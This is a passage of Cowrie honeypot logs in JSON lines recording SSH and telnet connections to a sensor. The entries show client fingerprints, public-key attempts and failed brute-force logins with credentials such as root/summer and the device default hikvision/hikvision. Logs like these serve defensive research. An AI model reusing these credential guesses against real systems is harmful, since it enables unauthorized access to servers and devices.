{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:18.651908Z","src_ip":"109.237.96.109","session":"f46af0b5446a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0058946609497,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:23.171518Z","src_ip":"176.65.139.118","session":"27ddf7005e6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":52282,"dst_ip":"10.17.0.5","dst_port":22,"session":"a949619ec188","protocol":"ssh","message":"New connection: 103.27.238.114:52282 (10.17.0.5:22) [session: a949619ec188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:24.745760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:24.751384Z","src_ip":"103.27.238.114","session":"a949619ec188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:25.026259Z","src_ip":"103.27.238.114","session":"a949619ec188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"summer","message":"login attempt [root/summer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:25.844611Z","src_ip":"103.27.238.114","session":"a949619ec188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:27.115563Z","src_ip":"103.27.238.114","session":"a949619ec188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.00725960731506,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:28.356638Z","src_ip":"152.42.224.71","session":"4d949b0c4d9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":55436,"dst_ip":"159.203.135.109","dst_port":22,"session":"151d31674644","protocol":"ssh","message":"New connection: 80.66.85.226:55436 (159.203.135.109:22) [session: 151d31674644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:30.730161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:30.736914Z","src_ip":"80.66.85.226","session":"151d31674644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:30.838412Z","src_ip":"80.66.85.226","session":"151d31674644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azamat","message":"login attempt [root/azamat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:31.121513Z","src_ip":"80.66.85.226","session":"151d31674644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:32.218180Z","src_ip":"80.66.85.226","session":"151d31674644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.242.68","src_port":56880,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cd73377d7e0","protocol":"ssh","message":"New connection: 206.212.242.68:56880 (10.17.0.5:22) [session: 2cd73377d7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:36.732803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:36.737438Z","src_ip":"206.212.242.68","session":"2cd73377d7e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:36.749638Z","src_ip":"206.212.242.68","session":"2cd73377d7e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:27:ae:22:f3:a9:bc:17:69:f5:17:94:40:4c:53:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc+JSD3E/y7UMoQ2jWO1ZebRwedRDLPANR4Acl7D/yXxP3oQLcd4kOaT6VMgZ3SVTtp/AGmx008+kmVxjQtMFOdqZUU2BXB5+QhQaOZhBpkWuJYaJDOFpLjpPfrbOG5RxKXYvj6taCraS2+ANCRkc1qSCVd9lDdlrQWg3nSANAMKX4Ubtidk/DBNWqWyLZs+OCejxIzlrhXLdtc63p791BSGDrEVSdm6iKo77BAuR8YbOzAK8OEfKj0Lk5CxfKm2AUxb2+x7ON9PG6MhAZ6EotXdErOwmL/qWUoWFwIDk8RluJ4gsH0RSitYOmrnpS8va5OvQB1obO58qkFxyWbJs3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:27:ae:22:f3:a9:bc:17:69:f5:17:94:40:4c:53:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:36.790367Z","src_ip":"206.212.242.68","session":"2cd73377d7e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:27:ae:22:f3:a9:bc:17:69:f5:17:94:40:4c:53:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc+JSD3E/y7UMoQ2jWO1ZebRwedRDLPANR4Acl7D/yXxP3oQLcd4kOaT6VMgZ3SVTtp/AGmx008+kmVxjQtMFOdqZUU2BXB5+QhQaOZhBpkWuJYaJDOFpLjpPfrbOG5RxKXYvj6taCraS2+ANCRkc1qSCVd9lDdlrQWg3nSANAMKX4Ubtidk/DBNWqWyLZs+OCejxIzlrhXLdtc63p791BSGDrEVSdm6iKo77BAuR8YbOzAK8OEfKj0Lk5CxfKm2AUxb2+x7ON9PG6MhAZ6EotXdErOwmL/qWUoWFwIDk8RluJ4gsH0RSitYOmrnpS8va5OvQB1obO58qkFxyWbJs3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:36.794318Z","src_ip":"206.212.242.68","session":"2cd73377d7e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:0e:2b:0f:fb:4f:9e:9b:b1:ff:c0:cb:7a:ed:33:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW2McS8bbvEqMZaPvAxrkMj6YpISivRTodcbbPvZc0Y3NZWUmYPn5eadO/sQRUwB0kVdomXeJ/8mDz7vXvLLbCfz9vNP29HNuhrmJhXcBSOXnWlNs5Qfm+t5KmvoIgAyPwrSRTEqfWxiWVYdvuQpo3ldpnKEMwcwceHXrapJzaUa7ykQ0I2ovU4+9ROyoih+HRJICW2on8yHjZk8oyuq7IUyvvDdTWFOUJmH1Nqg/+jVLvvnOchXoMvPvs95iZRW0a521nm8FaTC9Xgg2TjCfQG+DRdIt/yqAH1A0hx/w054/7vN0KddRHN/KwMUuoci/CcUWI1O2pQpbmmUyoWb8u5vR+qtU6WfRjNVLaoj1wPtUOUj4ypZvypsAZNOKd5p4+WKHNnRWG8wTN0dGjJh7Z6JBdXVF1A/eEEs2yPuypw/7qwa7UR/yJF4Cp/eKmCe8NmxTxci9MVzoZuul2VZa041VdCyQc1Xw4bkRjmip8Rb8SjLWEJ2mSbQHd020J5uE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:0e:2b:0f:fb:4f:9e:9b:b1:ff:c0:cb:7a:ed:33:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:36.808666Z","src_ip":"206.212.242.68","session":"2cd73377d7e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:0e:2b:0f:fb:4f:9e:9b:b1:ff:c0:cb:7a:ed:33:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW2McS8bbvEqMZaPvAxrkMj6YpISivRTodcbbPvZc0Y3NZWUmYPn5eadO/sQRUwB0kVdomXeJ/8mDz7vXvLLbCfz9vNP29HNuhrmJhXcBSOXnWlNs5Qfm+t5KmvoIgAyPwrSRTEqfWxiWVYdvuQpo3ldpnKEMwcwceHXrapJzaUa7ykQ0I2ovU4+9ROyoih+HRJICW2on8yHjZk8oyuq7IUyvvDdTWFOUJmH1Nqg/+jVLvvnOchXoMvPvs95iZRW0a521nm8FaTC9Xgg2TjCfQG+DRdIt/yqAH1A0hx/w054/7vN0KddRHN/KwMUuoci/CcUWI1O2pQpbmmUyoWb8u5vR+qtU6WfRjNVLaoj1wPtUOUj4ypZvypsAZNOKd5p4+WKHNnRWG8wTN0dGjJh7Z6JBdXVF1A/eEEs2yPuypw/7qwa7UR/yJF4Cp/eKmCe8NmxTxci9MVzoZuul2VZa041VdCyQc1Xw4bkRjmip8Rb8SjLWEJ2mSbQHd020J5uE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:36.814529Z","src_ip":"206.212.242.68","session":"2cd73377d7e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:80:9f:fb:09:67:30:f0:93:8d:f9:6d:ba:38:a5:6b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKiQtK2jxD5VJgdVgZqgGfkVGlbYXWeVXec+WRGiirdl","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f8:80:9f:fb:09:67:30:f0:93:8d:f9:6d:ba:38:a5:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:36.828452Z","src_ip":"206.212.242.68","session":"2cd73377d7e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:80:9f:fb:09:67:30:f0:93:8d:f9:6d:ba:38:a5:6b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKiQtK2jxD5VJgdVgZqgGfkVGlbYXWeVXec+WRGiirdl","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:36.831671Z","src_ip":"206.212.242.68","session":"2cd73377d7e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:f9:6f:85:77:45:af:39:70:d0:4a:17:a4:69:98:bc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK293mSvTuB747GEQCKE4XRW9OE8liTSpwWANcKhIrUx","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint da:f9:6f:85:77:45:af:39:70:d0:4a:17:a4:69:98:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:36.845447Z","src_ip":"206.212.242.68","session":"2cd73377d7e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:f9:6f:85:77:45:af:39:70:d0:4a:17:a4:69:98:bc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK293mSvTuB747GEQCKE4XRW9OE8liTSpwWANcKhIrUx","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:36.849194Z","src_ip":"206.212.242.68","session":"2cd73377d7e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:25:25:8e:68:9d:d1:99:de:75:52:87:d4:09:27:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDaJk90Xb4h/WHsV4+2lI3Uknpm/U5EvAbhHeFa8dX45UpjQc0qSB1jP5tRBt7EoRUD/ECwZaqaTJkwNtgj/glaYiQ/xzQccqN6iSXnykAcSmR87yt338bdNK4XD1kfHEbuEhcIbgLfONac7jO1UsAAJJ5OYMJCUk/LQ97/gNqCMlUuIC/kqM9U9l/ZPuxmia4dOL4FJ18M1PPYnmVPgmQvb/2yQ1GN3P0RtGnZcSKp+/xzD9OYXpV2To/xU3sCexuzCM9KbxGTNFimTEmmS9zzv5587gHQa5r4BtumdoLwAnLRBzgyt88vgYX0gw3Q+qZpHJ7zyuelz6qXWJohBik3b2d9SiiYCG3cTNQfyn/LEPuthnXuqkB/WCBYQnzMIka8HiW90fgNEO1kR54koB78g8ykpxY+nW779AgShJ3puwnkBKjcWeD1eO8Mu6z9S60yW1tIYCFjzIe0uCpKZyW0uFj79LzbQCpIQ89Kv4VTbo7KQ1AoZUf3l7OWodCZP50=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:25:25:8e:68:9d:d1:99:de:75:52:87:d4:09:27:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:36.863741Z","src_ip":"206.212.242.68","session":"2cd73377d7e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:25:25:8e:68:9d:d1:99:de:75:52:87:d4:09:27:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDaJk90Xb4h/WHsV4+2lI3Uknpm/U5EvAbhHeFa8dX45UpjQc0qSB1jP5tRBt7EoRUD/ECwZaqaTJkwNtgj/glaYiQ/xzQccqN6iSXnykAcSmR87yt338bdNK4XD1kfHEbuEhcIbgLfONac7jO1UsAAJJ5OYMJCUk/LQ97/gNqCMlUuIC/kqM9U9l/ZPuxmia4dOL4FJ18M1PPYnmVPgmQvb/2yQ1GN3P0RtGnZcSKp+/xzD9OYXpV2To/xU3sCexuzCM9KbxGTNFimTEmmS9zzv5587gHQa5r4BtumdoLwAnLRBzgyt88vgYX0gw3Q+qZpHJ7zyuelz6qXWJohBik3b2d9SiiYCG3cTNQfyn/LEPuthnXuqkB/WCBYQnzMIka8HiW90fgNEO1kR54koB78g8ykpxY+nW779AgShJ3puwnkBKjcWeD1eO8Mu6z9S60yW1tIYCFjzIe0uCpKZyW0uFj79LzbQCpIQ89Kv4VTbo7KQ1AoZUf3l7OWodCZP50=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:36.868470Z","src_ip":"206.212.242.68","session":"2cd73377d7e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:36.883191Z","src_ip":"206.212.242.68","session":"2cd73377d7e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":56984,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9ce15ccd9fe","protocol":"ssh","message":"New connection: 51.250.105.222:56984 (10.17.0.5:22) [session: f9ce15ccd9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:57.884298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:57.887650Z","src_ip":"51.250.105.222","session":"f9ce15ccd9fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:58.019355Z","src_ip":"51.250.105.222","session":"f9ce15ccd9fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:58.410314Z","src_ip":"51.250.105.222","session":"f9ce15ccd9fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:40:59.544093Z","src_ip":"51.250.105.222","session":"f9ce15ccd9fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.180","src_port":22682,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cfd74d7b6ba","protocol":"telnet","message":"New connection: 66.132.172.180:22682 (10.17.0.5:23) [session: 1cfd74d7b6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:41:08.545693Z"}
{"eventid":"cowrie.session.closed","duration":120.00448226928711,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:41:11.915492Z","src_ip":"152.42.224.71","session":"fc3afdb99565","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.437703371047974,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:41:23.983241Z","src_ip":"66.132.172.180","session":"1cfd74d7b6ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.180","src_port":8992,"dst_ip":"10.17.0.5","dst_port":23,"session":"41aa226e0d1b","protocol":"telnet","message":"New connection: 66.132.172.180:8992 (10.17.0.5:23) [session: 41aa226e0d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:41:29.176964Z"}
{"eventid":"cowrie.session.closed","duration":3.2077157497406006,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:41:32.384561Z","src_ip":"66.132.172.180","session":"41aa226e0d1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.180","src_port":9066,"dst_ip":"10.17.0.5","dst_port":23,"session":"057a9f67f3fb","protocol":"telnet","message":"New connection: 66.132.172.180:9066 (10.17.0.5:23) [session: 057a9f67f3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:41:36.238861Z"}
{"eventid":"cowrie.session.closed","duration":10.742939472198486,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:41:46.981649Z","src_ip":"66.132.172.180","session":"057a9f67f3fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":43104,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf41048cc1a2","protocol":"telnet","message":"New connection: 176.65.139.118:43104 (159.203.135.109:23) [session: bf41048cc1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:41:54.015180Z"}
{"eventid":"cowrie.login.failed","username":"hikvision","password":"hikvision","message":"login attempt [hikvision/hikvision] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:41:59.077673Z","src_ip":"176.65.139.118","session":"bf41048cc1a2","protocol":"telnet"}
